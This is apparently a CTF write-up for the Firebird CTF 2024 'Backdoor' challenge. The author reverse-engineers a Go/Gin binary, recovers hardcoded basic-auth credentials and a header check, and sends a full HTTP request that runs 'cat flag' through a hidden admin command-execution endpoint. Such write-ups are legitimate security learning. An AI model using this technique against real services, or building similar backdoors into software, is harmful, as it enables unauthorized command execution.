bebop404

Firebird CTF 2024: Backdoor

First blood on a Go/Gin web challenge — reverse engineering basic auth credentials and a hidden admin command execution endpoint.

2nd 🩸

Analyse

Open IDA 8.3. Debugging.

IDA initial analysis

Here comes three interfaces:

/ping
/user/:name
/admin

/ping is fixed to echo 'pong'

/user is seemed to query the context of main.db

Let's take a look at /admin:

/admin handler

It checks whether 'X-Forwarded-For' is fixed.

And a comparing to 'r00dkc4b'

As I sent a POST request by Burpsuite for testing, it verifies authorization for me.

Continue searching on username/password.

BasicAuth lookup

In here, program calls github_com_gin_gonic_gin_BasicAuthForRealm

Delving into the development document: gin-gonic/gin docs

There should be username and password in plaintext around auth.

By converting the string, I get the credential:

Credential recovery

b4ckd00r:p4ssw0rd

Login successfully, continue exploring the function.

Bind function

In debugging, set breakpoint then press F9 to avoid from getting into cgo.

But it fails every time for github_com_gin_gonic_gin__ptr_Context_Bind

Check the source code: gin context.go#L629

Content-Type check

According to the above JSON and other APIs, it's determined that Content-Type can only be application/json.

Searching the string "json" — the selected line determines the rules.

Now consider how to construct JSON parameters.

JSON field discovery

Directly search for JSON strings.

required means it must exist.

Based on these two strings and the rules of JSON binding in Golang, there must be two parameters:

{"value":"xxxx","command":"xxxxxxx"}

Exploit

Construct the packet in BurpSuite and send it.

The first time it asks you to log in.

b4ckd00r:p4ssw0rd

Use the above username and password to log in successfully.

Then add the header Authorization: Basic YjRja2QwMHI6cDRzc3cwcmQ= to the following requests, and you don't need to log in again.

Let's send the request in BurpSuite ('value' can be set as arbitrary):

POST /admin HTTP/1.1
Host: ash-chal.firebird.sh:36001
Cache-Control: max-age=0
Authorization: Basic YjRja2QwMHI6cDRzc3cwcmQ=
sec-ch-ua: "Not_A Brand";v="8", "Chromium";v="120"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.216 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json;charset=utf-8
Content-Length: 38
X-Forwarded-For: 182.239.127.137
 
{"value":"diudiudiudiu","command":"cat flag"}

Encoded response

Decode it.

Flag

firebird{g0_f1nd_y0ur_backd00r5!~}

glhf~ ;)